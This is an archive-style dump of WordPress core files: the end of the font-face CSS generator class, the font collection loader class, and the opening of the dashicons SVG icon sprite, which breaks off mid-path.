	private function validate_font_face_declarations( array $font_face ) {
		$font_face = wp_parse_args( $font_face, $this->font_face_property_defaults );

		// Check the font-family.
		if ( empty( $font_face['font-family'] ) || ! is_string( $font_face['font-family'] ) ) {
			// @todo replace with `wp_trigger_error()`.
			_doing_it_wrong(
				__METHOD__,
				__( 'Font font-family must be a non-empty string.' ),
				'6.4.0'
			);
			return false;
		}

		// Make sure that local fonts have 'src' defined.
		if ( empty( $font_face['src'] ) || ( ! is_string( $font_face['src'] ) && ! is_array( $font_face['src'] ) ) ) {
			// @todo replace with `wp_trigger_error()`.
			_doing_it_wrong(
				__METHOD__,
				__( 'Font src must be a non-empty string or an array of strings.' ),
				'6.4.0'
			);
			return false;
		}

		// Validate the 'src' property.
		foreach ( (array) $font_face['src'] as $src ) {
			if ( empty( $src ) || ! is_string( $src ) ) {
				// @todo replace with `wp_trigger_error()`.
				_doing_it_wrong(
					__METHOD__,
					__( 'Each font src must be a non-empty string.' ),
					'6.4.0'
				);
				return false;
			}
		}

		// Check the font-weight.
		if ( ! is_string( $font_face['font-weight'] ) && ! is_int( $font_face['font-weight'] ) ) {
			// @todo replace with `wp_trigger_error()`.
			_doing_it_wrong(
				__METHOD__,
				__( 'Font font-weight must be a properly formatted string or integer.' ),
				'6.4.0'
			);
			return false;
		}

		// Check the font-display.
		if ( ! in_array( $font_face['font-display'], $this->valid_font_display, true ) ) {
			$font_face['font-display'] = $this->font_face_property_defaults['font-display'];
		}

		// Remove invalid properties.
		foreach ( $font_face as $property => $value ) {
			if ( ! in_array( $property, $this->valid_font_face_properties, true ) ) {
				unset( $font_face[ $property ] );
			}
		}

		return $font_face;
	}

	/**
	 * Gets the style element for wrapping the `@font-face` CSS.
	 *
	 * @since 6.4.0
	 *
	 * @return string The style element.
	 */
	private function get_style_element() {
		$attributes = $this->generate_style_element_attributes();

		return "<style class='wp-fonts-local'{$attributes}>\n%s\n</style>\n";
	}

	/**
	 * Gets the defined <style> element's attributes.
	 *
	 * @since 6.4.0
	 *
	 * @return string A string of attribute=value when defined, else, empty string.
	 */
	private function generate_style_element_attributes() {
		$attributes = '';
		foreach ( $this->style_tag_attrs as $name => $value ) {
			$attributes .= " {$name}='{$value}'";
		}
		return $attributes;
	}

	/**
	 * Gets the `@font-face` CSS styles for locally-hosted font files.
	 *
	 * This method does the following processing tasks:
	 *    1. Orchestrates an optimized `src` (with format) for browser support.
	 *    2. Generates the `@font-face` for all its fonts.
	 *
	 * @since 6.4.0
	 *
	 * @param array[] $font_faces The font-faces to generate @font-face CSS styles.
	 * @return string The `@font-face` CSS styles.
	 */
	private function get_css( $font_faces ) {
		$css = '';

		foreach ( $font_faces as $font_face ) {
				// Order the font's `src` items to optimize for browser support.
				$font_face = $this->order_src( $font_face );

				// Build the @font-face CSS for this font.
				$css .= '@font-face{' . $this->build_font_face_css( $font_face ) . '}' . "\n";
		}

		// Don't print the last newline character.
		return rtrim( $css, "\n" );
	}

	/**
	 * Orders `src` items to optimize for browser support.
	 *
	 * @since 6.4.0
	 *
	 * @param array $font_face Font face to process.
	 * @return array Font-face with ordered src items.
	 */
	private function order_src( array $font_face ) {
		if ( ! is_array( $font_face['src'] ) ) {
			$font_face['src'] = (array) $font_face['src'];
		}

		$src         = array();
		$src_ordered = array();

		foreach ( $font_face['src'] as $url ) {
			// Add data URIs first.
			if ( str_starts_with( trim( $url ), 'data:' ) ) {
				$src_ordered[] = array(
					'url'    => $url,
					'format' => 'data',
				);
				continue;
			}
			$format         = pathinfo( $url, PATHINFO_EXTENSION );
			$src[ $format ] = $url;
		}

		// Add woff2.
		if ( ! empty( $src['woff2'] ) ) {
			$src_ordered[] = array(
				'url'    => $src['woff2'],
				'format' => 'woff2',
			);
		}

		// Add woff.
		if ( ! empty( $src['woff'] ) ) {
			$src_ordered[] = array(
				'url'    => $src['woff'],
				'format' => 'woff',
			);
		}

		// Add ttf.
		if ( ! empty( $src['ttf'] ) ) {
			$src_ordered[] = array(
				'url'    => $src['ttf'],
				'format' => 'truetype',
			);
		}

		// Add eot.
		if ( ! empty( $src['eot'] ) ) {
			$src_ordered[] = array(
				'url'    => $src['eot'],
				'format' => 'embedded-opentype',
			);
		}

		// Add otf.
		if ( ! empty( $src['otf'] ) ) {
			$src_ordered[] = array(
				'url'    => $src['otf'],
				'format' => 'opentype',
			);
		}
		$font_face['src'] = $src_ordered;

		return $font_face;
	}

	/**
	 * Builds the font-family's CSS.
	 *
	 * @since 6.4.0
	 *
	 * @param array $font_face Font face to process.
	 * @return string This font-family's CSS.
	 */
	private function build_font_face_css( array $font_face ) {
		$css = '';

		/*
		 * Wrap font-family in quotes if it contains spaces
		 * and is not already wrapped in quotes.
		 */
		if (
			str_contains( $font_face['font-family'], ' ' ) &&
			! str_contains( $font_face['font-family'], '"' ) &&
			! str_contains( $font_face['font-family'], "'" )
		) {
			$font_face['font-family'] = '"' . $font_face['font-family'] . '"';
		}

		foreach ( $font_face as $key => $value ) {
			// Compile the "src" parameter.
			if ( 'src' === $key ) {
				$value = $this->compile_src( $value );
			}

			// If font-variation-settings is an array, convert it to a string.
			if ( 'font-variation-settings' === $key && is_array( $value ) ) {
				$value = $this->compile_variations( $value );
			}

			if ( ! empty( $value ) ) {
				$css .= "$key:$value;";
			}
		}

		return $css;
	}

	/**
	 * Compiles the `src` into valid CSS.
	 *
	 * @since 6.4.0
	 *
	 * @param array $value Value to process.
	 * @return string The CSS.
	 */
	private function compile_src( array $value ) {
		$src = '';

		foreach ( $value as $item ) {
			$src .= ( 'data' === $item['format'] )
				? ", url({$item['url']})"
				: ", url('{$item['url']}') format('{$item['format']}')";
		}

		$src = ltrim( $src, ', ' );
		return $src;
	}

	/**
	 * Compiles the font variation settings.
	 *
	 * @since 6.4.0
	 *
	 * @param array $font_variation_settings Array of font variation settings.
	 * @return string The CSS.
	 */
	private function compile_variations( array $font_variation_settings ) {
		$variations = '';

		foreach ( $font_variation_settings as $key => $value ) {
			$variations .= "$key $value";
		}

		return $variations;
	}
}
class-wp-font-collection.php000064400000021274151024203310012100 0ustar00<?php
/**
 * Font Collection class.
 *
 * This file contains the Font Collection class definition.
 *
 * @package    WordPress
 * @subpackage Fonts
 * @since      6.5.0
 */

/**
 * Font Collection class.
 *
 * @since 6.5.0
 *
 * @see wp_register_font_collection()
 */
final class WP_Font_Collection {
	/**
	 * The unique slug for the font collection.
	 *
	 * @since 6.5.0
	 * @var string
	 */
	public $slug;

	/**
	 * Font collection data.
	 *
	 * @since 6.5.0
	 * @var array|WP_Error|null
	 */
	private $data;

	/**
	 * Font collection JSON file path or URL.
	 *
	 * @since 6.5.0
	 * @var string|null
	 */
	private $src;

	/**
	 * WP_Font_Collection constructor.
	 *
	 * @since 6.5.0
	 *
	 * @param string $slug Font collection slug. May only contain alphanumeric characters, dashes,
	 *                     and underscores. See sanitize_title().
	 * @param array  $args Font collection data. See wp_register_font_collection() for information on accepted arguments.
	 */
	public function __construct( string $slug, array $args ) {
		$this->slug = sanitize_title( $slug );
		if ( $this->slug !== $slug ) {
			_doing_it_wrong(
				__METHOD__,
				/* translators: %s: Font collection slug. */
				sprintf( __( 'Font collection slug "%s" is not valid. Slugs must use only alphanumeric characters, dashes, and underscores.' ), $slug ),
				'6.5.0'
			);
		}

		$required_properties = array( 'name', 'font_families' );

		if ( isset( $args['font_families'] ) && is_string( $args['font_families'] ) ) {
			// JSON data is lazy loaded by ::get_data().
			$this->src = $args['font_families'];
			unset( $args['font_families'] );

			$required_properties = array( 'name' );
		}

		$this->data = $this->sanitize_and_validate_data( $args, $required_properties );
	}

	/**
	 * Retrieves the font collection data.
	 *
	 * @since 6.5.0
	 *
	 * @return array|WP_Error An array containing the font collection data, or a WP_Error on failure.
	 */
	public function get_data() {
		if ( is_wp_error( $this->data ) ) {
			return $this->data;
		}

		// If the collection uses JSON data, load it and cache the data/error.
		if ( isset( $this->src ) ) {
			$this->data = $this->load_from_json( $this->src );
		}

		if ( is_wp_error( $this->data ) ) {
			return $this->data;
		}

		// Set defaults for optional properties.
		$defaults = array(
			'description' => '',
			'categories'  => array(),
		);

		return wp_parse_args( $this->data, $defaults );
	}

	/**
	 * Loads font collection data from a JSON file or URL.
	 *
	 * @since 6.5.0
	 *
	 * @param string $file_or_url File path or URL to a JSON file containing the font collection data.
	 * @return array|WP_Error An array containing the font collection data on success,
	 *                        else an instance of WP_Error on failure.
	 */
	private function load_from_json( $file_or_url ) {
		$url  = wp_http_validate_url( $file_or_url );
		$file = file_exists( $file_or_url ) ? wp_normalize_path( realpath( $file_or_url ) ) : false;

		if ( ! $url && ! $file ) {
			// translators: %s: File path or URL to font collection JSON file.
			$message = __( 'Font collection JSON file is invalid or does not exist.' );
			_doing_it_wrong( __METHOD__, $message, '6.5.0' );
			return new WP_Error( 'font_collection_json_missing', $message );
		}

		$data = $url ? $this->load_from_url( $url ) : $this->load_from_file( $file );

		if ( is_wp_error( $data ) ) {
			return $data;
		}

		$data = array(
			'name'          => $this->data['name'],
			'font_families' => $data['font_families'],
		);

		if ( isset( $this->data['description'] ) ) {
			$data['description'] = $this->data['description'];
		}

		if ( isset( $this->data['categories'] ) ) {
			$data['categories'] = $this->data['categories'];
		}

		return $data;
	}

	/**
	 * Loads the font collection data from a JSON file path.
	 *
	 * @since 6.5.0
	 *
	 * @param string $file File path to a JSON file containing the font collection data.
	 * @return array|WP_Error An array containing the font collection data on success,
	 *                        else an instance of WP_Error on failure.
	 */
	private function load_from_file( $file ) {
		$data = wp_json_file_decode( $file, array( 'associative' => true ) );
		if ( empty( $data ) ) {
			return new WP_Error( 'font_collection_decode_error', __( 'Error decoding the font collection JSON file contents.' ) );
		}

		return $this->sanitize_and_validate_data( $data, array( 'font_families' ) );
	}

	/**
	 * Loads the font collection data from a JSON file URL.
	 *
	 * @since 6.5.0
	 *
	 * @param string $url URL to a JSON file containing the font collection data.
	 * @return array|WP_Error An array containing the font collection data on success,
	 *                        else an instance of WP_Error on failure.
	 */
	private function load_from_url( $url ) {
		// Limit key to 167 characters to avoid failure in the case of a long URL.
		$transient_key = substr( 'wp_font_collection_url_' . $url, 0, 167 );
		$data          = get_site_transient( $transient_key );

		if ( false === $data ) {
			$response = wp_safe_remote_get( $url );
			if ( is_wp_error( $response ) || 200 !== wp_remote_retrieve_response_code( $response ) ) {
				return new WP_Error(
					'font_collection_request_error',
					sprintf(
						// translators: %s: Font collection URL.
						__( 'Error fetching the font collection data from "%s".' ),
						$url
					)
				);
			}

			$data = json_decode( wp_remote_retrieve_body( $response ), true );
			if ( empty( $data ) ) {
				return new WP_Error( 'font_collection_decode_error', __( 'Error decoding the font collection data from the HTTP response JSON.' ) );
			}

			// Make sure the data is valid before storing it in a transient.
			$data = $this->sanitize_and_validate_data( $data, array( 'font_families' ) );
			if ( is_wp_error( $data ) ) {
				return $data;
			}

			set_site_transient( $transient_key, $data, DAY_IN_SECONDS );
		}

		return $data;
	}

	/**
	 * Sanitizes and validates the font collection data.
	 *
	 * @since 6.5.0
	 *
	 * @param array $data                Font collection data to sanitize and validate.
	 * @param array $required_properties Required properties that must exist in the passed data.
	 * @return array|WP_Error Sanitized data if valid, otherwise a WP_Error instance.
	 */
	private function sanitize_and_validate_data( $data, $required_properties = array() ) {
		$schema = self::get_sanitization_schema();
		$data   = WP_Font_Utils::sanitize_from_schema( $data, $schema );

		foreach ( $required_properties as $property ) {
			if ( empty( $data[ $property ] ) ) {
				$message = sprintf(
					// translators: 1: Font collection slug, 2: Missing property name, e.g. "font_families".
					__( 'Font collection "%1$s" has missing or empty property: "%2$s".' ),
					$this->slug,
					$property
				);
				_doing_it_wrong( __METHOD__, $message, '6.5.0' );
				return new WP_Error( 'font_collection_missing_property', $message );
			}
		}

		return $data;
	}

	/**
	 * Retrieves the font collection sanitization schema.
	 *
	 * @since 6.5.0
	 *
	 * @return array Font collection sanitization schema.
	 */
	private static function get_sanitization_schema() {
		return array(
			'name'          => 'sanitize_text_field',
			'description'   => 'sanitize_text_field',
			'font_families' => array(
				array(
					'font_family_settings' => array(
						'name'       => 'sanitize_text_field',
						'slug'       => static function ( $value ) {
							return _wp_to_kebab_case( sanitize_title( $value ) );
						},
						'fontFamily' => 'WP_Font_Utils::sanitize_font_family',
						'preview'    => 'sanitize_url',
						'fontFace'   => array(
							array(
								'fontFamily'            => 'sanitize_text_field',
								'fontStyle'             => 'sanitize_text_field',
								'fontWeight'            => 'sanitize_text_field',
								'src'                   => static function ( $value ) {
									return is_array( $value )
										? array_map( 'sanitize_text_field', $value )
										: sanitize_text_field( $value );
								},
								'preview'               => 'sanitize_url',
								'fontDisplay'           => 'sanitize_text_field',
								'fontStretch'           => 'sanitize_text_field',
								'ascentOverride'        => 'sanitize_text_field',
								'descentOverride'       => 'sanitize_text_field',
								'fontVariant'           => 'sanitize_text_field',
								'fontFeatureSettings'   => 'sanitize_text_field',
								'fontVariationSettings' => 'sanitize_text_field',
								'lineGapOverride'       => 'sanitize_text_field',
								'sizeAdjust'            => 'sanitize_text_field',
								'unicodeRange'          => 'sanitize_text_field',
							),
						),
					),
					'categories'           => array( 'sanitize_title' ),
				),
			),
			'categories'    => array(
				array(
					'name' => 'sanitize_text_field',
					'slug' => 'sanitize_title',
				),
			),
		);
	}
}
dashicons.svg000064400000363306151024203310007242 0ustar00<svg viewBox="0 0 20 20" xmlns="http://www.w3.org/2000/svg"><symbol viewBox="0 0 20 20" id="admin-appearance"><title>admin-appearance</title><g><path d="M14.48 11.06L7.41 3.99l1.5-1.5c.5-.56 2.3-.47 3.51.32 1.21.8 1.43 1.28 2.91 2.1 1.18.64 2.45 1.26 4.45.85zm-.71.71L6.7 4.7 4.93 6.47c-.39.39-.39 1.02 0 1.41l1.06 1.06c.39.39.39 1.03 0 1.42-.6.6-1.43 1.11-2.21 1.69-.35.26-.7.53-1.01.84C1.43 14.23.4 16.08 1.4 17.07c.99 1 2.84-.03 4.18-1.36.31-.31.58-.66.85-1.02.57-.78 1.08-1.61 1.69-2.21.39-.39 1.02-.39 1.41 0l1.06 1.06c.39.39 1.02.39 1.41 0z"/></g></symbol><symbol viewBox="0 0 20 20" id="admin-collapse"><title>admin-collapse</title><g><path d="M10 2.16c4.33 0 7.84 3.51 7.84 7.84s-3.51 7.84-7.84 7.84S2.16 14.33 2.16 10 5.71 2.16 10 2.16zm2 11.72V6.12L6.18 9.97z"/></g></symbol><symbol viewBox="0 0 20 20" id="admin-comments"><title>admin-comments</title><g><path d="M5 2h9c1.1 0 2 .9 2 2v7c0 1.1-.9 2-2 2h-2l-5 5v-5H5c-1.1 0-2-.9-2-2V4c0-1.1.9-2 2-2z"/></g></symbol><symbol viewBox="0 0 20 20" id="admin-customizer"><title>admin-customizer</title><g><path d="M18.33 3.57s.27-.8-.31-1.36c-.53-.52-1.22-.24-1.22-.24-.61.3-5.76 3.47-7.67 5.57-.86.96-2.06 3.79-1.09 4.82.92.98 3.96-.17 4.79-1 2.06-2.06 5.21-7.17 5.5-7.79zM1.4 17.65c2.37-1.56 1.46-3.41 3.23-4.64.93-.65 2.22-.62 3.08.29.63.67.8 2.57-.16 3.46-1.57 1.45-4 1.55-6.15.89z"/></g></symbol><symbol viewBox="0 0 20 20" id="admin-generic"><title>admin-generic</title><g><path d="M18 12h-2.18c-.17.7-.44 1.35-.81 1.93l1.54 1.54-2.1 2.1-1.54-1.54c-.58.36-1.23.63-1.91.79V19H8v-2.18c-.68-.16-1.33-.43-1.91-.79l-1.54 1.54-2.12-2.12 1.54-1.54c-.36-.58-.63-1.23-.79-1.91H1V9.03h2.17c.16-.7.44-1.35.8-1.94L2.43 5.55l2.1-2.1 1.54 1.54c.58-.37 1.24-.64 1.93-.81V2h3v2.18c.68.16 1.33.43 1.91.79l1.54-1.54 2.12 2.12-1.54 1.54c.36.59.64 1.24.8 1.94H18V12zm-8.5 1.5c1.66 0 3-1.34 3-3s-1.34-3-3-3-3 1.34-3 3 1.34 3 3 3z"/></g></symbol><symbol viewBox="0 0 20 20" id="admin-home"><title>admin-home</title><g><path d="M16 8.5l1.53 1.53-1.06 1.06L10 4.62l-6.47 6.47-1.06-1.06L10 2.5l4 4v-2h2v4zm-6-2.46l6 5.99V18H4v-5.97zM12 17v-5H8v5h4z"/></g></symbol><symbol viewBox="0 0 20 20" id="admin-links"><title>admin-links</title><g><path d="M17.74 2.76c1.68 1.69 1.68 4.41 0 6.1l-1.53 1.52c-1.12 1.12-2.7 1.47-4.14 1.09l2.62-2.61.76-.77.76-.76c.84-.84.84-2.2 0-3.04-.84-.85-2.2-.85-3.04 0l-.77.76-3.38 3.38c-.37-1.44-.02-3.02 1.1-4.14l1.52-1.53c1.69-1.68 4.42-1.68 6.1 0zM8.59 13.43l5.34-5.34c.42-.42.42-1.1 0-1.52-.44-.43-1.13-.39-1.53 0l-5.33 5.34c-.42.42-.42 1.1 0 1.52.44.43 1.13.39 1.52 0zm-.76 2.29l4.14-4.15c.38 1.44.03 3.02-1.09 4.14l-1.52 1.53c-1.69 1.68-4.41 1.68-6.1 0-1.68-1.68-1.68-4.42 0-6.1l1.53-1.52c1.12-1.12 2.7-1.47 4.14-1.1l-4.14 4.15c-.85.84-.85 2.2 0 3.05.84.84 2.2.84 3.04 0z"/></g></symbol><symbol viewBox="0 0 20 20" id="admin-media"><title>admin-media</title><g><path d="M13 11V4c0-.55-.45-1-1-1h-1.67L9 1H5L3.67 3H2c-.55 0-1 .45-1 1v7c0 .55.45 1 1 1h10c.55 0 1-.45 1-1zM7 4.5c1.38 0 2.5 1.12 2.5 2.5S8.38 9.5 7 9.5 4.5 8.38 4.5 7 5.62 4.5 7 4.5zM14 6h5v10.5c0 1.38-1.12 2.5-2.5 2.5S14 17.88 14 16.5s1.12-2.5 2.5-2.5c.17 0 .34.02.5.05V9h-3V6zm-4 8.05V13h2v3.5c0 1.38-1.12 2.5-2.5 2.5S7 17.88 7 16.5 8.12 14 9.5 14c.17 0 .34.02.5.05z"/></g></symbol><symbol viewBox="0 0 20 20" id="admin-multisite"><title>admin-multisite</title><g><path d="M14.27 6.87L10 3.14 5.73 6.87 5 6.14l5-4.38 5 4.38zM14 8.42l-4.05 3.43L6 8.38v-.74l4-3.5 4 3.5v.78zM11 9.7V8H9v1.7h2zm-1.73 4.03L5 10 .73 13.73 0 13l5-4.38L10 13zm10 0L15 10l-4.27 3.73L10 13l5-4.38L20 13zM5 11l4 3.5V18H1v-3.5zm10 0l4 3.5V18h-8v-3.5zm-9 6v-2H4v2h2zm10 0v-2h-2v2h2z"/></g></symbol><symbol viewBox="0 0 20 20" id="admin-network"><title>admin-network</title><g><path d="M16.95 2.58c1.96 1.95 1.96 5.12 0 7.07-1.51 1.51-3.75 1.84-5.59 1.01l-1.87 3.31-2.99.31L5 18H2l-1-2 7.95-7.69c-.92-1.87-.62-4.18.93-5.73 1.95-1.96 5.12-1.96 7.07 0zm-2.51 3.79c.74 0 1.33-.6 1.33-1.34 0-.73-.59-1.33-1.33-1.33-.73 0-1.33.6-1.33 1.33 0 .74.6 1.34 1.33 1.34z"/></g></symbol><symbol viewBox="0 0 20 20" id="admin-page"><title>admin-page</title><g><path d="M6 15V2h10v13H6zm-1 1h8v2H3V5h2v11z"/></g></symbol><symbol viewBox="0 0 20 20" id="admin-plugins"><title>admin-plugins</title><g><path d="M13.11 4.36L9.87 7.6 8 5.73l3.24-3.24c.35-.34 1.05-.2 1.56.32.52.51.66 1.21.31 1.55zm-8 1.77l.91-1.12 9.01 9.01-1.19.84c-.71.71-2.63 1.16-3.82 1.16H6.14L4.9 17.26c-.59.59-1.54.59-2.12 0-.59-.58-.59-1.53 0-2.12l1.24-1.24v-3.88c0-1.13.4-3.19 1.09-3.89zm7.26 3.97l3.24-3.24c.34-.35 1.04-.21 1.55.31.52.51.66 1.21.31 1.55l-3.24 3.25z"/></g></symbol><symbol viewBox="0 0 20 20" id="admin-post"><title>admin-post</title><g><path d="M10.44 3.02l1.82-1.82 6.36 6.35-1.83 1.82c-1.05-.68-2.48-.57-3.41.36l-.75.75c-.92.93-1.04 2.35-.35 3.41l-1.83 1.82-2.41-2.41-2.8 2.79c-.42.42-3.38 2.71-3.8 2.29s1.86-3.39 2.28-3.81l2.79-2.79L4.1 9.36l1.83-1.82c1.05.69 2.48.57 3.4-.36l.75-.75c.93-.92 1.05-2.35.36-3.41z"/></g></symbol><symbol viewBox="0 0 20 20" id="admin-settings"><title>admin-settings</title><g><path d="M18 16V4c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1v12c0 .55.45 1 1 1h13c.55 0 1-.45 1-1zM8 11h1c.55 0 1 .45 1 1s-.45 1-1 1H8v1.5c0 .28-.22.5-.5.5s-.5-.22-.5-.5V13H6c-.55 0-1-.45-1-1s.45-1 1-1h1V5.5c0-.28.22-.5.5-.5s.5.22.5.5V11zm5-2h-1c-.55 0-1-.45-1-1s.45-1 1-1h1V5.5c0-.28.22-.5.5-.5s.5.22.5.5V7h1c.55 0 1 .45 1 1s-.45 1-1 1h-1v5.5c0 .28-.22.5-.5.5s-.5-.22-.5-.5V9z"/></g></symbol><symbol viewBox="0 0 20 20" id="admin-site-alt"><title>admin-site-alt</title><g><path d="M9 0C4.03 0 0 4.03 0 9s4.03 9 9 9 9-4.03 9-9-4.03-9-9-9zm7.5 6.48c-.274.896-.908 1.64-1.75 2.05-.45-1.69-1.658-3.074-3.27-3.75.13-.444.41-.83.79-1.09-.43-.28-1-.42-1.34.07-.53.69 0 1.61.21 2v.14c-.555-.337-.99-.84-1.24-1.44-.966-.03-1.922.208-2.76.69-.087-.565-.032-1.142.16-1.68.733.07 1.453-.23 1.92-.8.46-.52-.13-1.18-.59-1.58h.36c1.36-.01 2.702.335 3.89 1 1.36 1.005 2.194 2.57 2.27 4.26.24 0 .7-.55.91-.92.172.34.32.69.44 1.05zM9 16.84c-2.05-2.08.25-3.75-1-5.24-.92-.85-2.29-.26-3.11-1.23-.282-1.473.267-2.982 1.43-3.93.52-.44 4-1 5.42.22.83.715 1.415 1.674 1.67 2.74.46.035.918-.066 1.32-.29.41 2.98-3.15 6.74-5.73 7.73zM5.15 2.09c.786-.3 1.676-.028 2.16.66-.42.38-.94.63-1.5.72.02-.294.085-.584.19-.86l-.85-.52z"/></g></symbol><symbol viewBox="0 0 20 20" id="admin-site-alt2"><title>admin-site-alt2</title><g><path d="M9 0C4.03 0 0 4.03 0 9s4.03 9 9 9 9-4.03 9-9-4.03-9-9-9zm2.92 12.34c0 .35.14.63.36.66.22.03.47-.22.58-.6l.2.08c.718.384 1.07 1.22.84 2-.15.69-.743 1.198-1.45 1.24-.49-1.21-2.11.06-3.56-.22-.612-.154-1.11-.6-1.33-1.19 1.19-.11 2.85-1.73 4.36-1.97zM8 11.27c.918 0 1.695-.68 1.82-1.59.44.54.41 1.324-.07 1.83-.255.223-.594.325-.93.28-.335-.047-.635-.236-.82-.52zm3-.76c.41.39 3-.06 3.52 1.09-.95-.2-2.95.61-3.47-1.08l-.05-.01zM9.73 5.45v.27c-.65-.77-1.33-1.07-1.61-.57-.28.5 1 1.11.76 1.88-.24.77-1.27.56-1.88 1.61-.61 1.05-.49 2.42 1.24 3.67-1.192-.132-2.19-.962-2.54-2.11-.4-1.2-.09-2.26-.78-2.46C4 7.46 3 8.71 3 9.8c-1.26-1.26.05-2.86-1.2-4.18C3.5 1.998 7.644.223 11.44 1.49c-1.1 1.02-1.722 2.458-1.71 3.96z"/></g></symbol><symbol viewBox="0 0 20 20" id="admin-site-alt3"><title>admin-site-alt3</title><g><path d="M9 0C4.03 0 0 4.03 0 9s4.03 9 9 9 9-4.03 9-9-4.03-9-9-9zM1.11 9.68h2.51c.04.91.167 1.814.38 2.7H1.84c-.403-.85-.65-1.764-.73-2.7zm8.57-5.4V1.19c.964.366 1.756 1.08 2.22 2 .205.347.386.708.54 1.08l-2.76.01zm3.22 1.35c.232.883.37 1.788.41 2.7H9.68v-2.7h3.22zM8.32 1.19v3.09H5.56c.154-.372.335-.733.54-1.08.462-.924 1.255-1.64 2.22-2.01zm0 4.44v2.7H4.7c.04-.912.178-1.817.41-2.7h3.21zm-4.7 2.69H1.11c.08-.936.327-1.85.73-2.7H4c-.213.886-.34 1.79-.38 2.7zM4.7 9.68h3.62v2.7H5.11c-.232-.883-.37-1.788-.41-2.7zm3.63 4v3.09c-.964-.366-1.756-1.08-2.22-2-.205-.347-.386-.708-.54-1.08l2.76-.01zm1.35 3.09v-3.04h2.76c-.154.372-.335.733-.54 1.08-.464.92-1.256 1.634-2.22 2v-.04zm0-4.44v-2.7h3.62c-.04.912-.178 1.817-.41 2.7H9.68zm4.71-2.7h2.51c-.08.936-.327 1.85-.73 2.7H14c.21-.87.337-1.757.38-2.65l.01-.05zm0-1.35c-.046-.894-.176-1.78-.39-2.65h2.16c.403.85.65 1.764.73 2.7l-2.5-.05zm1-4H13.6c-.324-.91-.793-1.76-1.39-2.52 1.244.56 2.325 1.426 3.14 2.52h.04zm-9.6-2.52c-.597.76-1.066 1.61-1.39 2.52H2.65c.815-1.094 1.896-1.96 3.14-2.52zm-3.15 12H4.4c.324.91.793 1.76 1.39 2.52-1.248-.567-2.33-1.445-3.14-2.55l-.01.03zm9.56 2.52c.597-.76 1.066-1.61 1.39-2.52h1.76c-.82 1.08-1.9 1.933-3.14 2.48l-.01.04z"/></g></symbol><symbol viewBox="0 0 20 20" id="admin-site"><title>admin-site</title><g><path d="M9 0C4.03 0 0 4.03 0 9s4.03 9 9 9 9-4.03 9-9-4.03-9-9-9zm3.46 11.95c0 1.47-.8 3.3-4.06 4.7.3-4.17-2.52-3.69-3.2-5 .126-1.1.804-2.063 1.8-2.55-1.552-.266-3-.96-4.18-2 .05.47.28.904.64 1.21-.782-.295-1.458-.817-1.94-1.5.977-3.225 3.883-5.482 7.25-5.63-.84 1.38-1.5 4.13 0 5.57C7.23 7 6.26 5 5.41 5.79c-1.13 1.06.33 2.51 3.42 3.08 3.29.59 3.66 1.58 3.63 3.08zm1.34-4c-.32-1.11.62-2.23 1.69-3.14 1.356 1.955 1.67 4.45.84 6.68-.77-1.89-2.17-2.32-2.53-3.57v.03z"/></g></symbol><symbol viewBox="0 0 20 20" id="admin-tools"><title>admin-tools</title><g><path d="M16.68 9.77c-1.34 1.34-3.3 1.67-4.95.99l-5.41 6.52c-.99.99-2.59.99-3.58 0s-.99-2.59 0-3.57l6.52-5.42c-.68-1.65-.35-3.61.99-4.95 1.28-1.28 3.12-1.62 4.72-1.06l-2.89 2.89 2.82 2.82 2.86-2.87c.53 1.58.18 3.39-1.08 4.65zM3.81 16.21c.4.39 1.04.39 1.43 0 .4-.4.4-1.04 0-1.43-.39-.4-1.03-.4-1.43 0-.39.39-.39 1.03 0 1.43z"/></g></symbol><symbol viewBox="0 0 20 20" id="admin-users"><title>admin-users</title><g><path d="M10 9.25c-2.27 0-2.73-3.44-2.73-3.44C7 4.02 7.82 2 9.97 2c2.16 0 2.98 2.02 2.71 3.81 0 0-.41 3.44-2.68 3.44zm0 2.57L12.72 10c2.39 0 4.52 2.33 4.52 4.53v2.49s-3.65 1.13-7.24 1.13c-3.65 0-7.24-1.13-7.24-1.13v-2.49c0-2.25 1.94-4.48 4.47-4.48z"/></g></symbol><symbol viewBox="0 0 20 20" id="airplane"><title>airplane</title><g><path d="M17.6 2.4c-.8-.8-2.1-.1-2.7.5l-3.5 3.8-2.4-1 .6-.6c.2-.2.2-.5 0-.7-.1-.2-.4-.1-.6 0l-.9.9-1.8-.8.5-.5c.2-.2.2-.5 0-.6-.2-.2-.5-.2-.7 0l-.8.8-.5-.2c-.8-.4-1.7-.3-2.3.4l5.8 5.8L6 12.6l-3.5-.2-.5.7 3.1 1.8L6.9 18l.7-.5-.2-3.5 2.5-2.3 5.8 5.8c.6-.6.8-1.6.4-2.3l-.2-.5.8-.8c.2-.2.2-.5 0-.7-.2-.2-.5-.2-.7 0l-.5.5-.8-1.9.9-.9c.2-.2.2-.5 0-.7-.2-.2-.5-.2-.6 0l-.6.6-1-2.4L17.2 5c.6-.5 1.2-1.9.4-2.6z"/></g></symbol><symbol viewBox="0 0 20 20" id="album"><title>album</title><g><path d="M0 18h10v-.26c1.52.4 3.17.35 4.76-.24 4.14-1.52 6.27-6.12 4.75-10.26-1.43-3.89-5.58-6-9.51-4.98V2H0v16zM9 3v14H1V3h8zm5.45 8.22c-.68 1.35-2.32 1.9-3.67 1.23-.31-.15-.57-.35-.78-.59V8.13c.8-.86 2.11-1.13 3.22-.58 1.35.68 1.9 2.32 1.23 3.67zm-2.75-.82c.22.16.53.12.7-.1.16-.22.12-.53-.1-.7s-.53-.12-.7.1c-.16.21-.12.53.1.7zm3.01 3.67c-1.17.78-2.56.99-3.83.69-.27-.06-.44-.34-.37-.61s.34-.43.62-.36l.17.04c.96.17 1.98-.01 2.86-.59.47-.32.86-.72 1.14-1.18.15-.23.45-.3.69-.16.23.15.3.46.16.69-.36.57-.84 1.08-1.44 1.48zm1.05 1.57c-1.48.99-3.21 1.32-4.84 1.06-.28-.05-.47-.32-.41-.6.05-.27.32-.45.61-.39l.22.04c1.31.15 2.68-.14 3.87-.94.71-.47 1.27-1.07 1.7-1.74.14-.24.45-.31.68-.16.24.14.31.45.16.69-.49.79-1.16 1.49-1.99 2.04z"/></g></symbol><symbol viewBox="0 0 20 20" id="align-center"><title>align-center</title><g><path d="M3 5h14V3H3v2zm12 8V7H5v6h10zM3 17h14v-2H3v2z"/></g></symbol><symbol viewBox="0 0 20 20" id="align-full-width"><title>align-full-width</title><g><path d="M17 13V3H3v10h14zM5 17h10v-2H5v2z"/></g></symbol><symbol viewBox="0 0 20 20" id="align-left"><title>align-left</title><g><path d="M3 5h14V3H3v2zm9 8V7H3v6h9zm2-4h3V7h-3v2zm0 